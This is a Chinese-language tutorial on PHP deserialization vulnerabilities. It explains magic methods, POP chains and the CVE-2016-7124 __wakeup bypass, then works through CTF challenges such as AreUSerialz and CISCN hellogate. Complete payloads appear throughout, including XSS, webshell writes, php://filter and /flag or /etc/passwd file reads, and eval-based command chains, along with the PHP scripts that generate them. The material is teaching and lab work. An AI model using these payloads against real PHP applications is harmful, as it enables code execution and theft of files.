1.基础知识
1.1 序列化简介
序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
反序列化和序列化是两个正好相反的过程。
通俗理解:
可以把“序列化”理解为运输大型设备(比如汽车或机器):
- 一个完整对象就像一台整车或大型机械设备
- 直接运输体积大、成本高、不方便
- 序列化把设备拆解成标准化零件,并记录结构信息(字符串)
- 传输把这些“零件数据”运输到目标位置
- 反序列化根据“说明书”重新组装,还原成原始设备(对象)
也就是说:
**序列化 = 拆解 + 记录结构
反序列化 = 按规则重组还原**
序列化的目的是方便数据的传输和存储,常见的比如 JSON,就是为了数据传递的方便性。
序列化和反序列化本身并不存在问题,但关键风险在于:
“组装说明书如果是攻击者伪造的,会发生什么?”
当反序列化的数据可被用户控制时,攻击者可以:
- 构造恶意“零件清单 + 组装说明”(序列化字符串)
- 诱导系统在反序列化时进行“错误组装”
- 生成非预期对象结构
- 触发对象中的魔术方法
- 最终执行攻击者预埋的恶意逻辑
一句话总结:
反序列化漏洞的本质 = 按攻击者提供的“说明书”去组装对象
1.2 PHP 面向对象
面向对象(Object-Oriented,简称 OO)是一种编程思想,它将数据(属性)与操作数据的方法(行为)封装在一起,形成“对象”,并通过对象之间的交互来完成程序功能。
在面向对象编程(Object-Oriented Programming,OOP)中:
对象 = 属性(数据) + 方法(行为)
可以参考菜鸟教程里PHP的面向对象介绍:https://www.runoob.com/php/php-oop.html
1.2.1为什么要有面向对象
相比过程式编程,OOP 的核心优势在于:
- 封装(Encapsulation):隐藏内部实现,只暴露必要接口
- 继承(Inheritance):复用已有代码
- 多态(Polymorphism):同一接口不同实现
- 可维护性强:结构清晰,适合大型项目
对于我们后面要讲的反序列化漏洞来说:
“对象结构 + 方法逻辑”正是漏洞利用的基础
1.2.2 对象的直观理解
在现实世界中,我们接触的事物都可以抽象为对象,例如:
每个对象都可以拆分为三部分:
1.2.2.1 属性(Property)
描述对象的特征,例如:
在代码中对应:变量
1.2.2.2 行为(Method)
对象可以执行的操作,例如:
在代码中对应:函数
1.2.2.3 对象标识(Identity)
用于区分不同对象,即使属性相同:
- 两只狗都是黑色,但不是同一只
- 两个用户数据结构相同,但用户不同
在代码中体现为:不同实例


1.2.3 类与对象的关系
class Animal {
public $color;
function run(){
echo "running";
}
}
- 类(Class):抽象模板(比如“动物”)
- 对象(Object):类的具体实例(比如“一只狗”)
$dog = new Animal();
$dog->color = "black";
$dog->run();
关系总结:
**类 = 图纸
对象 = 根据图纸造出来的实体**
1.2.4 为什么这和反序列化有关
在反序列化过程中:
也就是说:
攻击者可以控制对象的属性(数据)
而程序中早已定义好了方法(行为)
当这两者结合时,就可能触发:
- 魔术方法(如
__destruct()) - 非预期逻辑执行
- 甚至代码执行
1.3 序列化与反序列化
在理解漏洞之前,先看最基础的序列化与反序列化过程。
1.3.1 JSON序列化
首先看 json_encode() 和 json_decode():
$book = array(
'Book1' => 'Harry Potter',
'Book2' => 'MR.Bean',
'Book3' => 'Python Cookbook',
'Book4' => 'History'
);
$json = json_encode($book);
echo $json;
输出:
{"Book1":"Harry Potter","Book2":"MR.Bean","Book3":"Python Cookbook","Book4":"History"}
这里本质是:
关键点:
JSON 只是一种数据格式,不会涉及对象行为,因此通常不会直接导致代码执行
可以把它当作“安全对照组”。
1.3.2 为什么需要对象序列化
假设我们定义了一个类:
class DemoClass
{
public $name = "Eagle";
public $sex = "man";
public $age = 7;
function eat(){
echo $this->name . "吃饭";
}
}
当对象被实例化后,在程序运行过程中属性可能被修改:
$example = new DemoClass();
$example->name = "haha";
$example->sex = "woman";
$example->age = 18;
此时如果我们希望:
- 保存当前对象状态(如缓存、Session)
- 在后续请求中继续使用
如果一直保留对象在内存中,会带来资源消耗问题。
因此引入:
将对象“序列化”为字符串 → 需要时再“反序列化”恢复
1.3.3 PHP对象序列化
echo serialize($example);
输出:
O:9:"DemoClass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}

结构解析(理解即可):
| 片段 | 含义 |
|---|
| O | Object |
| 9 | 类名长度 |
| 3 | 属性数量 |
| s | string |
| i | integer |
本质:
对象被拆解为:类名 + 属性 + 属性值
1.3.4 反序列化(关键危险点开始出现)
$obj = unserialize('O:9:"DemoClass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}');
echo $obj->name;
$obj->eat();
输出:
haha
haha吃饭

说明:
- 对象被完整恢复
- 类的方法依然可调用(方法不参与序列化,但存在于类定义中)
但是如果我能够修改或者控制序列化后的字符串,比如把name的值改为ming,那反序列化话后name值就被改变了

1.3.5 不同属性权限的存储方式(利用关键)
class DemoClass
{
public $name;
protected $sex = "man";
private $age = 18;
}
序列化结果:

O:9:"DemoClass":3:{
s:4:"name";s:4:"haha";
s:6:"\0*\0sex";s:3:"man";
s:14:"\0DemoClass\0age";i:18;
}
规则总结:
| 类型 | 表示方式 |
|---|
| public | name |
| protected | \0*\0name |
| private | \0类名\0name |
注意:
\0 是 NULL 字节- 实际攻击中通常写作
%00 - 攻击者可以伪造这些字段
public / protected / private对比总结
| 类型 | 类内部 | 子类 | 外部 |
|---|
| public | ✅ | ✅ | ✅ |
| protected | ✅ | ✅ | ❌ |
| private | ✅ | ❌ | ❌ |
这点非常关键:
即使是 private / protected 属性,在反序列化时也可以被攻击者控制
攻击者可以直接构造:
s:14:"\0DemoClass\0age";i:999;
强行修改 private 属性
需要注意的是:serialize() 不保存方法,只保存数据,但 unserialize() 会恢复“对象语义”
也就是说:
- 方法来自类定义
- 数据来自用户输入(如果可控)
- 二者组合 → 就可能产生危险行为
1.3.6 小结
当代码中存在如下逻辑:
$data = $_GET['xxx'];
unserialize($data);
并且:
那么攻击者就可以:
- 构造恶意序列化字符串
- 控制对象属性(包括 private)
- 生成“非预期对象”
为后续魔术方法利用打基础
一句话总结:
反序列化漏洞的第一步 = 攻击者可控地“构造对象结构”
1.4 魔术方法
魔术方法(Magic Methods)是 PHP 中一类以 __ 开头的特殊方法,它们会在特定场景下自动触发执行。
关键点:
反序列化漏洞的本质,就是利用“自动触发”的魔术方法执行攻击代码
1.4.1 常见魔术方法
1.4.1.1 __construct() —— 构造函数
__construct()
作用:在对象被创建时自动调用,用于初始化对象。
class A {
function __construct(){
echo "初始化";
}
}
$a = new A(); // 自动调用
常见用途:
安全角度:
一般不是反序列化的直接利用点
因为:
unserialize() 不会触发 __construct()
1.4.1.2 __destruct() —— 析构函数(重点、高危)
__destruct()
作用:在对象被销毁时自动调用,例如:
function __destruct(){
echo "对象被销毁";
}
常见用途:
安全角度(非常重要)
反序列化漏洞最常见的触发点
原因:
典型利用:
function __destruct(){
eval($this->cmd);
}
1.4.1.3 __toString() —— 对象转字符串
__toString()
作用:当对象被当作字符串使用时自动调用:
echo $obj;
要求:
function __toString(){
return "hello";
}
常见用途:
安全角度:
当对象被 echo / 拼接字符串时可触发
👉 常见利用场景:
1.4.1.4 __sleep() —— 序列化前触发
__sleep()
作用:在 serialize() 时自动调用
function __sleep(){
return ['name']; // 指定要序列化的属性
}
常见用途:
可以这样类比:
- serialize = 拆机器准备运输
__sleep() = 决定哪些零件要带走
原机器:CPU + 硬盘 + 显卡 + 电源
__sleep() 说:
只带 CPU 和硬盘
→ 运输时就只打包这两个
安全角度:
一般不是利用点,但会影响序列化内容
1.4.1.5 __wakeup() —— 反序列化触发(重点、高危)
__wakeup()
作用:在 unserialize() 时自动调用
function __wakeup(){
echo "反序列化触发";
}
常见用途:
安全角度(核心利用点)
反序列化时第一时间触发
如果里面有危险代码:
function __wakeup(){
system($this->cmd);
}
攻击者可控 $cmd → 直接 RCE
1.4.1.6 __get() / __set() —— 属性访问拦截
__get($name)
__set($name, $value)
作用:当访问或设置不存在/不可访问属性时触发,也就是
包括三种情况:
- ❌ 属性不存在
- 🔒
private - 🔒
protected
$obj->test; // 触发 __get
$obj->test = 1; // 触发 __set
把对象当一个机器:
正常情况
$obj->name
= 直接拿零件
有 __get()
$obj->name
↓
发现这个零件不能直接拿
↓
去找“管理员(__get)”
↓
管理员决定给不给你
有 __set()
$obj->name = "xxx"
↓
不能直接装
↓
交给管理员(__set)
↓
管理员决定装哪里
安全角度
常用于 POP链中“跳板”
示例链路:
class A {
public $b;
function __destruct(){
echo $this->b->name;
}
}
class B {
function __get($key){
system("whoami");
}
}
攻击流程
1. 反序列化得到 A 对象
2. 脚本结束 → __destruct()
3. 执行:$this->b->name
4. name 不存在 → 触发 B::__get()
5. 执行 system("whoami")
成功 RCE!
1.4.1.7 __invoke() —— 对象当函数调用
__invoke()
作用:当对象被当函数调用时触发:
$obj();
安全角度
可作为“执行入口”,但触发条件较特殊
1.4.1.8 __call() / __callStatic() —— 方法调用拦截
__call($name, $args)
__callStatic($name, $args)
作用:调用不存在的方法时触发
$obj->test(); // __call
A::test(); // __callStatic
常见用途:
安全角度:
常用于 构造调用链(POP链关键节点)
1.4.2 方法总结
1.4.2.1 高危
| 方法 | 触发时机 | 利用价值 |
|---|
__destruct() | 对象销毁时(请求结束) | ⭐⭐⭐⭐⭐(最常见) |
__wakeup() | unserialize() 时 | ⭐⭐⭐⭐ |
__toString() | 对象被当字符串使用 | ⭐⭐⭐⭐ |
1.4.2.2 中等相关
| 方法 | 触发时机 |
|---|
__construct() | new 对象时 |
__sleep() | serialize 时 |
__invoke() | 对象当函数调用 |
__call() | 调用不存在方法 |
1.4.2.3 辅助
| 方法 | 触发时机 |
|---|
__get() / __set() | 访问不存在属性 |
__callStatic() | 调用不存在静态方法 |
1.4.3 执行流程
<?php
class Test{
public function __construct(){
echo 'construct run<br>';
}
public function __destruct(){
echo 'destruct run<br>';
}
public function __toString(){
echo 'toString run<br>';
return 'str';
}
public function __sleep(){
echo 'sleep run<br>';
return array();
}
public function __wakeup(){
echo 'wakeup run<br>';
}
}
echo 'new了一个对象,对象被创建,执行__construct<br>';
$test = new Test();
echo 'serialize了一个对象,对象被序列化,先执行__sleep,再序列化<br>';
$sTest = serialize($test);
echo '__wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源<br>';
?>
// new了一个对象,对象被创建,执行__construct
// construct run
// serialize了一个对象,对象被序列化,先执行__sleep,再序列化
// sleep run
// __wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源
// destruct run
执行过程:
new 对象 → __construct
serialize → __sleep
unserialize → __wakeup
脚本结束 → __destruct
结论:
**反序列化时一定会触发 __wakeup()
请求结束时几乎一定会触发 __destruct()**
1.4.4 为什么 __destruct() 最危险
来看一个简化案例:
class A
{
var $a = "a";
function __destruct()
{
echo "销毁时调用--";
echo $this->a;
}
}
攻击输入:
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
执行流程:
- 反序列化生成对象
$a 被攻击者控制为 "test"- 脚本结束
- 自动触发
__destruct() - 输出攻击者数据
输出:
销毁时调用--test
unserialize() = 直接“构造对象”,不是普通实例化
再看一个稍微复杂点的:
<?php
class A
{
var $a = "a";
var $b = "b\r\n";
function __construct()
{
$this->a = "123";
echo "初始化时调用\r\n";
}
function __destruct()
{
echo "销毁时调用--";
echo $this->a . "\r\n";
}
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
echo $b->b;
?>
// 初始化时调用
// b
// 销毁时调用--test
// 销毁时调用--123
1.4.5 反序列化漏洞触发链
把整个过程串起来:
用户输入 → unserialize() → 构造对象 → 控制属性 → 自动触发魔术方法 → 执行危险逻辑
1.5 反序列化实例
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
构造payload,形成反射型xss
http://10.1.0.30:8000/demo1.php?test=O:1:"A":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

1.6 简单实验
http://125.77.172.32:9090/
完成Level 1-Level 4





php中要用->调用方法,因为.已经被用于拼接字符串了



2.反序列化实战
2.1 wakeup绕过—CVE-2016-7124
在 PHP 反序列化过程中,如果类中定义了 __wakeup() 方法:
unserialize() 会优先自动调用 __wakeup()
开发者通常会在这里做:
但在特定条件下,这个机制可以被绕过,从而导致危险逻辑被利用。
2.1.1 漏洞代码:
<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$filename = __DIR__ . '/shell.php';
$fp = fopen($filename,"w");
fputs($fp,$this->target);
fclose($fp);
}
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php<br/>";
$filename = __DIR__ . '/shell.php';
include($filename);
?>
2.1.2 正常执行流程
传入 payload:
O:1:"A":1:{s:6:"target";s:4:"test";}
执行链路:
unserialize() 触发检测到 __wakeup() → 自动执行
$this->target = "wakeup!";
- 脚本结束 → 触发
__destruct() 写入文件:
shell.php = wakeup!
include(shell.php) → 输出 wakeup!
2.1.3 关键问题
用户可控:target 属性
但问题是:
__wakeup() 会强制覆盖 target
导致我们无法写入恶意内容
http://localhost:3000/demo2.php?test=O:1:"A":1:{s:6:"target";s:4:"test";}

2.1.4 漏洞利用原理
利用点:属性个数不匹配
PHP 在反序列化对象时:
O:类名长度:"类名":属性个数:{...}
如果:
“声明的属性个数 > 实际属性个数”
就会触发:
跳过 __wakeup() 执行(CVE-2016-7124)
需要早期的php版本,比如5.4 5.5等
利用 Payload:
O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}
访问:
http://localhost/demo2.php?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

2.1.5 攻击执行流程
unserialize() 执行发现:
触发异常逻辑:
跳过 __wakeup()
进入 __destruct():
fputs($fp, $this->target);
此时:
target = "<?php phpinfo();?>"
写入文件:
shell.php = <?php phpinfo();?>
include(shell.php) → 直接执行
一句话概括:
通过伪造属性数量,绕过 __wakeup(),保留用户可控属性,实现代码执行
2.1.6 wakeup绕过实战
BUUCTF题目[极客大挑战 2019]PHP
https://buuoj.cn/challenges
参考wp:
https://blog.csdn.net/2401_86760082/article/details/145581803
2.2 [网鼎杯 2020 青龙组]AreUSerialz
可以使用BUUCTF靶场的环境
https://buuoj.cn/challenges

2.2.1 题目代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2.2.2 代码功能总览
核心流程非常清晰:
- 接收
str 参数 - 经过
is_valid() 过滤(限制字符范围) - 执行
unserialize() - 脚本结束 → 自动触发
__destruct() - 在析构函数中调用
process() → 执行读/写操作
本题的利用点就在:析构函数触发的业务逻辑
2.2.3 关键函数拆解
1.过滤函数
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
作用:
- 只允许 可打印字符(ASCII 32–125)
- 不影响反序列化利用(关键点)

2.核心逻辑:process()
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}
功能:
op == 1 → 写文件op == 2 → 读文件(我们目标)
3.析构函数(利用入口)
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
关键点:
- 使用 强等于
=== - 会在析构阶段调用
process()
2.2.4 正常执行流程
假设传入:
op = "2"
执行流程:
- 反序列化完成
- 进入
__destruct() 命中:
$this->op === "2"
被重置:
op → "1"
- 执行
process() → 进入 write()
导致无法读文件
2.2.5 漏洞核心:类型绕过
这里的关键是:
| 比较方式 | 条件 |
|---|
=== | 类型 + 值都相同 |
== | 自动类型转换 |
利用点
// 析构函数
$this->op === "2"
// process函数
$this->op == "2"
差异:
2.2.6 利用思路
构造:
op = 2 // 整型
执行效果:
在 __destruct()
2 === "2" // false
不会被重置
在 process()
2 == "2" // true
成功进入:
read()
2.2.7 完整利用链
反序列化
↓
__destruct()
↓(绕过 ===)
process()
↓(触发 ==)
read()
↓
file_get_contents()
这里用了一个经典读php源码技巧:
php://filter
php://filter/read=convert.base64-encode/resource=flag.php
作用:
- 读取文件
- 自动 base64 编码(避免乱码/解析问题)
2.2.8 最终 Payload 构造
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
echo(urlencode(serialize($o)));
生成结果:
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
实际上也就是
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello+World!";}
最终利用payload
http://目标/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
返回的是:
base64(flag)
本地解码即可拿到 flag


这里其实还有一个点,题目源码里有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里
当PHP版本 >= 7.2 时,反序列化对访问类别不敏感,设置了容错机制,尽管属性类型错误,php也认。
即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。
修改类中属性的方法
1.直接写:
优点是方便,缺点是只能赋值字符串。
class dome{
public $a = 'phpinfo()';
}
2.外部赋值:
优点是可以赋值任意类型的值,缺点是只能操作public属性。
class dome{
public $a;
}
$o = new dome();
$o -> a = 'evil';
引用:
对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。
基于此,可以绕过诸如\0字符的过滤。
3.构造方法赋值(万能方法):
优点是解决了上述的全部缺点,缺点是有点麻烦
<?php
class DEMO1{
public $a;
function __construct(){
$this->a = 'evil';
}
}
2.3 POP链
2.3.1 POP链基础
2.3.1.1 什么是 POP 链(Property Oriented Programming)
先说人话版理解
POP 链 = 利用多个类的“魔术方法 + 属性可控”,拼接出一条自动执行的攻击链
类似于:
- 你不能直接执行危险函数
- 但可以“借用”已有类的逻辑
- 最终“绕一圈”达到你的目的(RCE / 文件读写)
2.3.1.2 为什么会有 POP 链?
在真实项目中:
unserialize($input);
你无法控制代码逻辑,但你可以控制:
反序列化后的对象结构(属性值)
但是:
所以:
把多个类“串起来”用
2.3.1.3 POP 链的核心组成
一个完整 POP 链,通常包含 3 个角色:
1.触发点(Trigger)
魔术方法(自动执行)
常见:
__destruct() (最常见)__wakeup()__toString()__call()
2.传递点(Gadget)
中间类,用来“传数据”
特点:
- 使用
$this->xxx - 调用其他对象方法
- 不做安全校验
3.利用点(Sink)
最终危险操作
例如:
system() → RCEeval()file_put_contents() → 写 shellfile_get_contents() → 读文件include() → 文件包含
2.3.1.4 POP 链执行流程
unserialize()
↓
__destruct()
↓
调用某个方法
↓
传递对象属性
↓
触发另一个类的方法
↓
最终执行危险函数
2.3.1.5 一个极简 POP 链示例
示例代码
class A {
public $b;
function __destruct() {
$this->b->run();
}
}
class B {
public $cmd;
function run() {
system($this->cmd);
}
}
利用思路
构造:
A->b = B
B->cmd = "whoami"
序列化 payload
O:1:"A":1:{
s:1:"b";
O:1:"B":1:{
s:3:"cmd";s:6:"whoami";
}
}
执行链
unserialize
↓
A::__destruct()
↓
B::run()
↓
system("whoami")
先把“构造”翻译成人话
我们看到的是:
A->b = B
B->cmd = "whoami"
实际意思是:
创建一个 A对象,里面有个属性 b,这个 b 指向 B对象
同时 B对象 里有个属性 cmd = "whoami"
用代码写出来就是:
$b = new B();
$b->cmd = "whoami";
$a = new A();
$a->b = $b;
内存结构长什么样
你可以想象成这样一棵“对象树”:
A对象
└── b → B对象
└── cmd = "whoami"
序列化结果逐段拆解
O:1:"A":1:{
s:1:"b";
O:1:"B":1:{
s:3:"cmd";s:6:"whoami";
}
}
我们一段一段看
1.最外层:A对象
O:1:"A":1:{
含义:
| 部分 | 含义 |
|---|
| O | 对象 |
| 1 | 类名长度 |
| "A" | 类名 |
| 1 | 有 1 个属性 |
2.属性 b
s:1:"b";
表示:
属性名 = "b"
3.属性值:一个 B 对象
O:1:"B":1:{
表示:
b = new B()
4.B 的属性 cmd
s:3:"cmd";s:6:"whoami";
表示:
cmd = "whoami"
反序列化后发生什么
当执行:
unserialize($payload);
PHP 在内存里“还原”出:
$a = new A();
$a->b = new B();
$a->b->cmd = "whoami";
2.3.1.6 实战中 POP 链长什么样?
真实项目(比如框架):
- 类很多(上百个)
- 方法互相调用
- 属性复杂(private/protected)
利用方式:
- 找
__destruct() / __wakeup() - 看调用链
- 找可控属性
- 找危险函数
- 串起来
2.3.1.7 POP 链难点
实战难点主要在:
1.private / protected 属性
序列化格式特殊:
s:10:"\0类名\0属性名"
2.不可控类
你不能改代码,只能“利用现有类”
3.链很长
可能 5~10 个类串起来
4.需要绕过滤
2.3.1.8 总结
POP 链 = 利用反序列化 + 魔术方法,把多个类拼成一条“自动执行的攻击路径”
2.3.2 PHPSerialize-labs level 15 POP链前置
http://125.77.172.32:9090/Level15/index.php
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 ---
世界的本质其实就是套娃
*/
/* FLAG in flag.php */
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}
第一步 eval($this->cmd->a->b->c); 关键代码,需要用action和函数触发,所以可以定位到对象D的__wakeUp() 方法
wakeup触发需要反序列化,先创建d并序列化,然后即可通过unserialize($_POST['o']);反序列化触发__wakeUp()
$d = new D();
serialize($d);
第二步:__wakeUp()触发后,执行 $this->d->action(); 这里对应的是$d->d->action(),
$d->d是D类中的属性,由于他调用了action方法,所以需要将属性d赋值为一个存在action方法的对象,所以显然还需要把实例化destnation对象赋给的D类的属性d
这样就成功触发action()
$dest = new destnation();
$d = new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性
serialize($d);
第三步:成功执行到 eval($this->cmd->a->b->c); ,这里的$this->cmd又是应该一个对象,并且该对象有a属性,所以,我们需要实例化A对象,并将其赋值给 destnation对象的cmd属性。
$a = new A();
$dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性
$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性
serialize($d);
第四步:然后执行到$this->cmd->a->b,同理可知,这里的$this->cmd->a又是应该一个对象,并且该对象有b属性,所以,我们需要实例化B对象,并将其赋值给A对象的a属性。
$b =new B();
$a = new A($b); // 传入 实例化对象 $b 赋值给 a 属性
$dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性
$d = new D();
$d->d = $dest;
serialize($d);
然后以此类推到了$this->cmd->a->b->c,这里的$this->cmd->a->b又是应该一个对象,并且该对象有c属性,所以,我们需要实例化C对象,并将其赋值给B对象的b属性。
所以最后结构就是:
cmd → A对象
└── a → B对象
└── b → C对象
└── c = "恶意代码"
下面是完整构造php代码
<?php
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
}
$c = new C("echo 123;"); // 传入 命令字符串 测试代码执行
$b =new B($c); // 传入 实例化对象 $c 赋值给 b 属性
$a = new A($b); // 传入 实例化对象 $b 赋值给 a 属性
$dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性
$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性
echo serialize($d);
?>
运行后得到:
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:9:"echo 123;";}}}}}

可以构造echo file_get_contents('flag.php');
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}}

2.3.3 2025 CISCN hellogate
下面两个环境都行
https://ctf.bugku.com/challenges/detail/id/3016.html
http://125.77.172.32:6060/hellogate.php
可以抓包也可以下载图片,发现图片最下端有php代码
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();
发现是php反序列化,这题是一个典型三段式 POP 链(__toString → __get → 文件读取),但触发路径稍微绕一点。
先找入口(程序从哪开始)
$obj = unserialize($_POST['data']);
$obj->triggerMethod();
必须满足:
$obj 是 A 类对象
因为只有 A 里有:
triggerMethod()
第一跳:触发 __toString()
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
关键点:
echo "" . $this->handle;
触发机制
当:
$handle 是一个对象
就会触发:
__toString()
第二跳:进入 B::__toString()
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
这里做了什么?
$this->worker->result
关键点
worker 是对象(我们可控)result 不存在
于是触发:
__get()
第三跳:进入 C::__get()
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
最终利用点
file_get_contents($this->cmd);
我们控制:
cmd = "flag.php"
完整执行链
unserialize()
↓
A->triggerMethod()
↓
echo $this->handle
↓
触发 B::__toString()
↓
$this->worker->result
↓
触发 C::__get()
↓
file_get_contents(cmd)
倒推对象结构
根据调用链:
A->handle = B
B->worker = C
C->cmd = "flag.php"
用代码构造
$c = new C();
$c->cmd = "flag.php";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
最终 payload构造
<?php
class A {
public $handle;
}
class B {
public $worker;
public $cmd;
}
class C {
public $cmd;
}
// 要读取的文件路径
$file_to_read = "/flag"; // 示例:/flag、flag.php、/etc/passwd 等
// 构造对象链
$c = new C();
$c->cmd = $file_to_read;
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
$payload = serialize($a);
echo $payload . "\n";
?>
#O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}
最终payload
O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}
post请求提交,即可获得flag,注意这里需要用burp提交,浏览器用hackbar提交看不到图片后的flag

2.3.4 [MRCTF2020]Ezpop
使用BUUCTF平台,搜索[MRCTF2020]Ezpop
https://buuoj.cn/challenges
题目代码如下:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
